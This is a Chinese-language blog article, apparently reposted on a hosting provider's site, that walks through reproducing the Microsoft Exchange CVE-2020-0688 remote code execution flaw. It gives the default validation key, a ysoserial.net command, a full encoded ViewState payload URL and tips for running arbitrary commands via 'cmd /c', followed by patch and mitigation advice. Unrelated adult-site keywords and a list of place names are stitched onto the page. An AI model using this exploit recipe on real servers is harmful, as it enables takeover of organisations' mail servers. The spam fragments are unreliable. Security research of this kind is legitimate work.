91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

發布時間:2021-12-27 18:33:49 來源:億速云 閱讀:618 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

網絡公開了一個編號為CVE-2020-0688的Microsoft Exchange Server遠程代碼執行漏洞,丁牛安全團隊對該漏洞進行了模擬復現,分析了該漏洞成因及利用,希望可以幫助企業了解該漏洞的危害,及時修復漏洞遠離黑客攻擊。

影響版本

Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

漏洞原理

這個漏洞是由于Exchange服務器在安裝時沒有正確地創建唯一的加密密鑰所造成的。

具體來說,與正常軟件安裝每次都會產生隨機密鑰不同,所有Exchange Server在安裝后的web.config文件中都擁有相同的validationKey和decryptionKey。這些密鑰用于保證ViewState的安全性。而ViewState是ASP.NET Web應用以序列化格式存儲在客戶機上的服務端數據。客戶端通過__VIEWSTATE請求參數將這些數據返回給服務器。攻擊者可以在ExchangeControl Panel web應用上執行任意.net代碼。

當攻擊者通過各種手段獲得一個可以訪問Exchange Control Panel (ECP)組件的用戶賬號密碼時。攻擊者可以在被攻擊的exchange上執行任意代碼,直接獲取服務器權限。

復現過程

1、需要變量

想要利用該漏洞,我們需要四個參數,分別為:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)

--validationalg = SHA1(默認,漏洞產生原因)

--generator=B97B4E27(基本默認)

--viewstateuserkey = ASP.NET_SessionId(手工獲取,變量,每次登陸都不一致)

在這四個變量中,前兩個為默認固定,viewstateuserkey和generator的值需要從經過身份驗證的session中收集。viewstateuserkey可以從ASP.NET的_SessionID cookie中獲取,而generator可以在一個隱藏字段__VIEWSTATEGENERATOR中找到。所有這些都可以通過瀏覽器中的工具輕松獲取。

2、獲取viewstateuserkey和generator值

在正常登錄后訪問 /ecp/default.aspx 頁面。使用F12開發者工具的Network選項,刷新頁面重新發送請求,找到登錄時/ecp/default.aspx的原始響應。

在Headers選項卡找到ASP.NET_SessionId的cookie:

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

在Response選項卡搜索__VIEWSTATEGENERATOR獲取字段值:

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

如果未找到此字段不必慌張,直接使用默認值B97B4E27 即可。

3、使用工具生成payload

使用ysoserial.net工具生成反序列化payload。 工具下載地址:https://github.com/pwntester/ysoserial.net/

生成payload命令:

ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy

4、構造攻擊地址

在生成完payload代碼后,需要對該代碼進行URL Encode編碼構造一個URL

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

將最開始獲得的__VIEWSTATEGENERATOR值替換<generator>,將URL Encode編碼后的payload替換<ViewState>。

示例:

https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h5H7xCU%3D

5、訪問地址并成功執行

訪問構造好的URL地址,服務器會彈出500的錯誤,但攻擊其實成功了。

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

登錄服務器查看進程,發現計算器成功啟動。

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

其他問題

1、關于版本

網上一些說法該漏洞對大版本的小版本有限制。其實不是這樣的,應該是全版本通殺的。本人測試環境server 12 + exchange 2013。測試過15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以復現成功,16,19未測試,應該差不多。

2、__VIEWSTATEGENERATOR

在最初版本的時候一直沒有這個參數(確實不重要,基本為默認值),造成這一問題的主要原因是沒有更新系統補丁KB2919355,更新該補丁后就會出現__VIEWSTATEGENERATOR字段。

3、無法創建文件

大部分復現者只復現到啟動計算器,但是卻無法創建文件。但經過測試發現問題出在ysoserial.exe的-c參數上,雖然在演示過程中可以直接-c "echo OOOPS!!! > c:/Vuln_Server.txt"創建文件,讓人誤以為-c是在cmd窗口下運行,但是實際上-c實際為“運行”的內容,因此直接echo是不行的,需要-c "cmd /c echo test > C:\1.txt",經測試成功創建文件,如圖所示:

如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現

4、URL Encode編碼

對生成的payload編碼時,需要注意只編碼關鍵的特殊字符即可,如果全編碼的話會無法利用成功。

修復建議

1、建議及時更新相關補丁

產品文章下載
Microsoft Exchange Server 2010 Service Pack 3更新匯總304536989安全更新
Microsoft Exchange Server 2013累積更新234536988安全更新
Microsoft Exchange Server 2016累積更新144536987安全更新
Microsoft Exchange Server 2016累積更新154536987安全更新
Microsoft Exchange Server 2019累積更新34536987安全更新
Microsoft Exchange Server 2019累積更新44536987安全更新

2、限制Exchange Control Panel (ECP)組件頁面訪問權限

由于該漏洞需要利用Exchange Control Panel (ECP)組件,因此禁止此組件訪問也不失為一個較為有效的應急方法,建議條件允許的情況下及時更新補丁。

關于如何實現exchange遠程代碼執行漏洞CVE-2020-0688復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

祁阳县| 霞浦县| 蓬莱市| 抚松县| 武陟县| 济宁市| 海兴县| 靖远县| 嘉义市| 织金县| 邵东县| 敖汉旗| 石泉县| 龙南县| 股票| 中牟县| 平湖市| 合作市| 顺昌县| 庄浪县| 栾城县| 湘潭市| 嘉黎县| 深水埗区| 龙川县| 开江县| 富顺县| 台南县| 玛沁县| 丰宁| 长顺县| 通山县| 保康县| 宿迁市| 嘉定区| 察哈| 郯城县| 普洱| 天峨县| 南和县| 华亭县|